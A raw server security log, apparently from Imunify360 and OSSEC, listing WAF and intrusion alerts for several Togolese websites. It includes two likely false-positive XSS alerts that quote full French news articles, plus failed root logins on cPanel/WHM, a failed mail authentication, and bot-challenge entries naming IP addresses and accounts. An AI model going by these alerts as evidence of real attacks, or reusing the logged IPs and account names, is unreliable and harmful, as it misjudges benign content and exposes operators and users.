IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>la transformation locale n'est plus une simple phrase, mais une orientation qui structure les politiques publiques au togo. elle vise \xc3\xa0 r\xc3\xa9duire la d\xc3\xa9pendance aux importations, \xc3\xa0 renforcer la production nationale et \xc3\xa0 accro\xc3\xaetre la valeur ajout\xc3\xa9e des produits locaux. dans cette dynamique, la 7\xc3\xa8me \xc3\xa9dition de la foire made in togo, pr\xc3\xa9vue du 3 au 12 juillet 2026 \xc3\xa0 lom\xc3\xa9 au centre togolais des expositions et foires cetef togo 2000, appara\xc3\xaet comme un rendez-vous majeur de valorisation du savoir-faire national.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>plac\xc3\xa9e sous le th\xc3\xa8me&nbsp;: <em>\xc2\xab transformation locale : un levier pour le d\xc3\xa9veloppement de l'\xc3\xa9conomie togolaise \xc2\xbb</em>, cette \xc3\xa9dition s'inscrit dans une continuit\xc3\xa9 d'actions visant \xc3\xa0 promouvoir les produits fabriqu\xc3\xa9s sur le territoire national. elle offre aux producteurs, artisans, transformateurs et entrepreneurs une plateforme d'exposition, de visibilit\xc3\xa9 et de mise en relation avec les consommateurs et les investisseurs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>au-del\xc3\xa0 de l'aspect commercial, la foire made in togo joue un r\xc3\xb4le symbolique important. elle participe \xc3\xa0 changer les perceptions sur la production locale, souvent per\xc3\xa7ue \xc3\xa0 tort comme moins comp\xc3\xa9titive que les produits import\xc3\xa9s. en mettant en avant la qualit\xc3\xa9, l'innovation et la diversit\xc3\xa9 des produits togolais, l'\xc3\xa9v\xc3\xa9nement contribue \xc3\xa0 renforcer la confiance des consommateurs dans l'\xc3\xa9conomie nationale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31645,\"width\":\"612px\",\"height\":\"auto\",\"sizeslug\":\"full\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/image-78.png\" alt=\"\" class=\"wp-image-31645\" style=\"width:612px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>une strat\xc3\xa9gie de souverainet\xc3\xa9 \xc3\xa9conomique</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>la politique de transformation locale port\xc3\xa9e par le togo est dans la logique de souverainet\xc3\xa9 \xc3\xa9conomique. en encourageant la transformation des mati\xc3\xa8res premi\xc3\xa8res sur place, le pays cherche \xc3\xa0 capter davantage de valeur ajout\xc3\xa9e et \xc3\xa0 cr\xc3\xa9er plus d'emplois sur son territoire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>cette approche est particuli\xc3\xa8rement importante dans des secteurs comme l'agroalimentaire, le textile, l'artisanat ou encore les produits manufactur\xc3\xa9s. elle permet de r\xc3\xa9duire la d\xc3\xa9pendance aux importations, de stabiliser les cha\xc3\xaenes d'approvisionnement et de dynamiser les \xc3\xa9conomies locales. la foire made in togo est donc un instrument, en connectant directement les producteurs aux march\xc3\xa9s et en stimulant la consommation locale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>la transformation locale a des effets directs sur l'emploi et l'entrepreneuriat. en valorisant les produits locaux, l'\xc3\x89tat encourage la cr\xc3\xa9ation et la croissance des petites et moyennes entreprises, qui constituent le moteur principal de l'\xc3\xa9conomie togolaise.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31765,\"sizeslug\":\"full\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-full\"><img src=\"https://macite.tg/wp-content/uploads/2026/07/webinaire-02-juillet-26.jpg\" alt=\"\" class=\"wp-image-31765\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>les producteurs locaux b\xc3\xa9n\xc3\xa9ficient ainsi d'une visibilit\xc3\xa9 accrue, d'opportunit\xc3\xa9s commerciales nouvelles et d'un environnement plus favorable \xc3\xa0 leur d\xc3\xa9veloppement. cette dynamique contribue \xc3\xa9galement \xc3\xa0 l'\xc3\xa9mergence d'une nouvelle g\xc3\xa9n\xc3\xa9ration d'entrepreneurs capables d'innover et de s'inscrire dans des cha\xc3\xaenes de valeur comp\xc3\xa9titives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>aussi, en misant sur ses ressources internes, le togo renforce sa r\xc3\xa9silience \xc3\xa9conomique et r\xc3\xa9duit sa vuln\xc3\xa9rabilit\xc3\xa9 aux chocs ext\xc3\xa9rieurs. cette orientation favorise une meilleure stabilit\xc3\xa9 des prix, une am\xc3\xa9lioration de la s\xc3\xa9curit\xc3\xa9 alimentaire et une consolidation des circuits \xc3\xa9conomiques internes. la 7\xc3\xa8me \xc3\xa9dition de la foire made in togo sera porteuse de r\xc3\xa9sultats pour le togo qui fait le choix de la promotion du savoir-faire de sa population.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>la r\xc3\xa9daction</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.162.199
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>la transformation locale n'est plus une simple phrase, mais une orientation qui structure les politiques publiques au togo. elle vise \xc3\xa0 r\xc3\xa9duire la d\xc3\xa9pendance aux importations, \xc3\xa0 renforcer la production nationale et \xc3\xa0 accro\xc3\xaetre la valeur ajout\xc3\xa9e des produits locaux. dans cette dynamique, la 7\xc3\xa8me \xc3\xa9dition de la foire made in togo, pr\xc3\xa9vue du 3 au 12 juillet 2026 \xc3\xa0 lom\xc3\xa9 au centre togolais des expositions et foires cetef togo 2000, appara\xc3\xaet comme un rendez-vous majeur de valorisation du savoir-faire national.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>plac\xc3\xa9e sous le th\xc3\xa8me&nbsp;: <em>\xc2\xab transformation locale : un levier pour le d\xc3\xa9veloppement de l'\xc3\xa9conomie togolaise \xc2\xbb</em>, cette \xc3\xa9dition s'inscrit dans une continuit\xc3\xa9 d'actions visant \xc3\xa0 promouvoir les produits fabriqu\xc3\xa9s sur le territoire national. elle offre aux producteurs, artisans, transformateurs et entrepreneurs une plateforme d'exposition, de visibilit\xc3\xa9 et de mise en relation avec les consommateurs et les investisseurs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>au-del\xc3\xa0 de l'aspect commercial, la foire made in togo joue un r\xc3\xb4le symbolique important. elle participe \xc3\xa0 changer les perceptions sur la production locale, souvent per\xc3\xa7ue \xc3\xa0 tort comme moins comp\xc3\xa9titive que les produits import\xc3\xa9s. en mettant en avant la qualit\xc3\xa9, l'innovation et la diversit\xc3\xa9 des produits togolais, l'\xc3\xa9v\xc3\xa9nement contribue \xc3\xa0 renforcer la confiance des consommateurs dans l'\xc3\xa9conomie nationale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31645,\"width\":\"612px\",\"height\":\"auto\",\"sizeslug\":\"full\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/image-78.png\" alt=\"\" class=\"wp-image-31645\" style=\"width:612px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>une strat\xc3\xa9gie de souverainet\xc3\xa9 \xc3\xa9conomique</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>la politique de transformation locale port\xc3\xa9e par le togo est dans la logique de souverainet\xc3\xa9 \xc3\xa9conomique. en encourageant la transformation des mati\xc3\xa8res premi\xc3\xa8res sur place, le pays cherche \xc3\xa0 capter davantage de valeur ajout\xc3\xa9e et \xc3\xa0 cr\xc3\xa9er plus d'emplois sur son territoire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>cette approche est particuli\xc3\xa8rement importante dans des secteurs comme l'agroalimentaire, le textile, l'artisanat ou encore les produits manufactur\xc3\xa9s. elle permet de r\xc3\xa9duire la d\xc3\xa9pendance aux importations, de stabiliser les cha\xc3\xaenes d'approvisionnement et de dynamiser les \xc3\xa9conomies locales. la foire made in togo est donc un instrument, en connectant directement les producteurs aux march\xc3\xa9s et en stimulant la consommation locale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>la transformation locale a des effets directs sur l'emploi et l'entrepreneuriat. en valorisant les produits locaux, l'\xc3\x89tat encourage la cr\xc3\xa9ation et la croissance des petites et moyennes entreprises, qui constituent le moteur principal de l'\xc3\xa9conomie togolaise.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31765,\"sizeslug\":\"full\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-full\"><img src=\"https://macite.tg/wp-content/uploads/2026/07/webinaire-02-juillet-26.jpg\" alt=\"\" class=\"wp-image-31765\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>les producteurs locaux b\xc3\xa9n\xc3\xa9ficient ainsi d'une visibilit\xc3\xa9 accrue, d'opportunit\xc3\xa9s commerciales nouvelles et d'un environnement plus favorable \xc3\xa0 leur d\xc3\xa9veloppement. cette dynamique contribue \xc3\xa9galement \xc3\xa0 l'\xc3\xa9mergence d'une nouvelle g\xc3\xa9n\xc3\xa9ration d'entrepreneurs capables d'innover et de s'inscrire dans des cha\xc3\xaenes de valeur comp\xc3\xa9titives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>aussi, en misant sur ses ressources internes, le togo renforce sa r\xc3\xa9silience \xc3\xa9conomique et r\xc3\xa9duit sa vuln\xc3\xa9rabilit\xc3\xa9 aux chocs ext\xc3\xa9rieurs. cette orientation favorise une meilleure stabilit\xc3\xa9 des prix, une am\xc3\xa9lioration de la s\xc3\xa9curit\xc3\xa9 alimentaire et une consolidation des circuits \xc3\xa9conomiques internes. la 7\xc3\xa8me \xc3\xa9dition de la foire made in togo sera porteuse de r\xc3\xa9sultats pour le togo qui fait le choix de la promotion du savoir-faire de sa population.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>la r\xc3\xa9daction</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.124.100.24
country_id: 174982
description:
2026-07-01 13:13:28 dovecot_plain authenticator failed for H=([69.172.210.47]) [176.124.100.24]:50656: 535 Incorrect authentication data (set_id=support@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.77.228.238
country_id: 6252001
description:
47.77.228.238 - - [01/Jul/2026:13:15:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10251467&pdata=https%253A%252F%252Fucao-uut.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782911714 HTTP/2.0" 302 0 ucao-uut.tg "https://ucao-uut.tg/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.77.228.238


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.118.89
country_id: 6252001
description:
47.251.118.89 - - [01/Jul/2026:13:15:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10055015&pdata=https%253A%252F%252Fns5mail.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782911723 HTTP/2.0" 302 0 ns5mail.netmaster.tg "https://ns5mail.netmaster.tg/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.118.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.24.105
country_id: 6252001
description:
47.251.24.105 - - [01/Jul/2026:13:15:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6987162&pdata=https%253A%252F%252Fdagl.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782911723 HTTP/2.0" 302 0 dagl.tg "https://dagl.tg/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.24.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.77.216.189
country_id: 6252001
description:
47.77.216.189 - - [01/Jul/2026:13:15:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13027182&pdata=https%253A%252F%252Fmediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782911722 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.77.216.189


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.237.185.0
country_id: 192950
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1554 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.161.208.54
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1107 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.173.130.217
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1789 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.221.115.13
country_id: 3625428
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?tag=taux-electrification HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.214.62.243
country_id: 6252001
description:
[2026-07-01 13:18:34 +0000] info [whostmgrd] 71.214.62.243 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 82.180.190.63
country_id: 286963
domain: togomedia24.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togomedia24.tg/tag/togo-aniit/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 203.9.210.63
country_id: 1282988
description:
203.9.210.63 - - [01/Jul/2026:13:21:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13263722&pdata=https%253A%252F%252Fmacite.tg%252F2026%252F07%252F01%252Fmade-in-togo-la-dynamique-nationale-au-service-de-la-transformation-locale%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782912117 HTTP/2.0" 302 0 macite.tg "https://macite.tg/2026/07/01/made-in-togo-la-dynamique-nationale-au-service-de-la-transformation-locale/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.4850.1073 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.9.210.63


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.28.159.125
country_id: 1880251
description:
104.28.159.125 - - [01/Jul/2026:13:22:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9870027&pdata=https%253A%252F%252Fwww.togosem.com%252F2025%252F03%252F03%252F1win-login-india-recognized-website-500-bonus%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782912174 HTTP/2.0" 302 0 www.togosem.com "https://www.togosem.com/2025/03/03/1win-login-india-recognized-website-500-bonus/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.28.159.125


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 212.119.40.130
country_id: 294640
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:212.119.40.130||TA:212.119.40.130||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.42.80.69
country_id: 2017370
domain: c2ie.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:13-28.185.42.80.69||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.11.138.151
country_id: 6252001
description:
[2026-07-01 13:29:19 +0000] info [whostmgrd] 24.11.138.151 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.175.80
country_id: 1880251
description:
43.173.175.80 - - [01/Jul/2026:13:30:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9816212&pdata=http%253A%252F%252Fwww.arse.tg%252F%253Fpage_id%253D483&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782912600 HTTP/1.1" 404 561 www.arse.tg "http://www.arse.tg/?page_id=483" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.175.80


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 16.58.227.68
country_id: 6252001
description:
16.58.227.68 - - [01/Jul/2026:13:33:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13014469&pdata=https%253A%252F%252Flacs1.mairie.tg%253A2083%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782912808 HTTP/2.0" 302 0 lacs1.mairie.tg "https://lacs1.mairie.tg:2083/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:16.58.227.68


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 16.58.227.68
country_id: 6252001
description:
[2026-07-01 13:33:36 +0000] info [cpaneld] 16.58.227.68 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.181.61.203
country_id: 3144096
description:
185.181.61.203 - - [01/Jul/2026:13:37:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9750120&pdata=https%253A%252F%252Fcafe.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782913063 HTTP/2.0" 302 0 cafe.tg "https://cafe.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.181.61.203


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 190.96.127.18
country_id: 3865483
description:
190.96.127.18 - - [01/Jul/2026:13:40:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10132168&pdata=https%253A%252F%252Fcfpj.tg%252Fkeoo-11971zetid.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782913225 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/keoo-11971zetid.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:190.96.127.18


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 172.83.252.227
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:172.83.252.227||TA:172.83.252.227||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.162.199
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>dans la r\xc3\xa9gion maritime, quelque chose change profond\xc3\xa9ment. ce changement ne fait pas de bruit, ne traverse pas les routes en cort\xc3\xa8ge et ne s'affiche pas forc\xc3\xa9ment sur les fa\xc3\xa7ades. pourtant, il transforme d\xc3\xa9j\xc3\xa0 les habitudes, les activit\xc3\xa9s et jusqu'au rythme de vie des populations. ce basculement porte un nom : l'acc\xc3\xa8s \xc3\xa0 l'\xc3\xa9lectricit\xc3\xa9.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>les chiffres issus des donn\xc3\xa9es de la compagnie \xc3\xa9nergie \xc3\xa9lectrique du togo (ceet) sont saisissants. en 2024, la r\xc3\xa9gion maritime comptait 15.543 abonn\xc3\xa9s au r\xc3\xa9seau de distribution. un an plus tard, en 2025, ce nombre bondit \xc3\xa0 38.692 abonn\xc3\xa9s. l'augmentation est spectaculaire : plus de 23.000 nouveaux raccordements en seulement douze mois.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>une hausse de 149 %</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>en termes d'\xc3\xa9volution, la progression atteint environ 149 %. rarement une croissance d'une telle ampleur est observ\xc3\xa9e sur une p\xc3\xa9riode aussi courte dans le secteur \xc3\xa9nerg\xc3\xa9tique. derri\xc3\xa8re cette envol\xc3\xa9e statistique se cache une r\xc3\xa9alit\xc3\xa9 beaucoup plus profonde : l'\xc3\xa9lectricit\xc3\xa9 gagne rapidement du terrain dans les foyers, les commerces, les ateliers, les exploitations agricoles et les petites unit\xc3\xa9s de transformation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31769,\"sizeslug\":\"full\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-full\"><img src=\"https://macite.tg/wp-content/uploads/2026/07/otr_ferer-pour-batir-1.jpg\" alt=\"\" class=\"wp-image-31769\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>dans cette r\xc3\xa9gion en pleine dynamique d\xc3\xa9mographique et \xc3\xa9conomique, la demande \xc3\xa9nerg\xc3\xa9tique ne cesse de s'intensifier. les localit\xc3\xa9s autrefois faiblement desservies voient appara\xc3\xaetre de nouveaux branchements, tandis que les centres urbains et semi-urbains absorbent des besoins toujours plus importants.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>chaque compteur install\xc3\xa9 devient une porte ouverte vers de nouvelles possibilit\xc3\xa9s. l'arriv\xc3\xa9e de l'\xc3\xa9lectricit\xc3\xa9 bouleverse concr\xc3\xa8tement la vie quotidienne. le soir, les rues restent actives plus longtemps. les petits commerces prolongent leurs heures d'ouverture. les ateliers de couture, de soudure ou de menuiserie am\xc3\xa9liorent leur rendement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>une compagnie tr\xc3\xa8s active</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>dans cette transformation progressive, la ceet occupe une place centrale. son r\xc3\xb4le d\xc3\xa9passe d\xc3\xa9sormais la simple distribution d'\xc3\xa9nergie. l'entreprise appara\xc3\xaet comme l'un des principaux leviers de modernisation territoriale. en \xc3\xa9tendant le r\xc3\xa9seau, elle contribue directement \xc3\xa0 l'activit\xc3\xa9 \xc3\xa9conomique, \xc3\xa0 l'am\xc3\xa9lioration des conditions de vie et \xc3\xa0 l'attractivit\xc3\xa9 des localit\xc3\xa9s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>car sans acc\xc3\xa8s fiable \xc3\xa0 l'\xc3\xa9lectricit\xc3\xa9, difficile d'envisager une industrialisation locale, un d\xc3\xa9veloppement des services num\xc3\xa9riques ou encore la croissance des petites entreprises. l'\xc3\xa9nergie devient le socle invisible sur lequel reposent d\xc3\xa9sormais de nombreuses ambitions \xc3\xa9conomiques. cette perc\xc3\xa9e spectaculaire traduit aussi l'effet des investissements engag\xc3\xa9s dans les infrastructures \xc3\xa9nerg\xc3\xa9tiques. l'extension des lignes, le renforcement des capacit\xc3\xa9s de distribution et les politiques d'acc\xc3\xa8s progressif \xc3\xa0 l'\xc3\xa9lectricit\xc3\xa9 permettent d'accompagner une r\xc3\xa9gion dont les besoins augmentent rapidement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31645,\"width\":\"558px\",\"height\":\"auto\",\"sizeslug\":\"full\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/image-78.png\" alt=\"\" class=\"wp-image-31645\" style=\"width:558px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>la r\xc3\xa9gion maritime, situ\xc3\xa9e dans l'une des zones les plus actives du pays, concentre des enjeux \xc3\xa9conomiques majeurs. agriculture, commerce, artisanat, logistique et petites industries n\xc3\xa9cessitent une alimentation \xc3\xa9nerg\xc3\xa9tique plus stable et plus accessible. la forte hausse des abonnements montre ainsi que les populations et les acteurs \xc3\xa9conomiques s'approprient progressivement cette ressource essentielle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>la r\xc3\xa9gion maritime donne ainsi \xc3\xa0 voir l'image d'un territoire en pleine acc\xc3\xa9l\xc3\xa9ration, o\xc3\xb9 l'\xc3\xa9nergie accompagne d\xc3\xa9sormais la transformation sociale et \xc3\xa9conomique \xc3\xa0 grande \xc3\xa9chelle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>omar a.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- 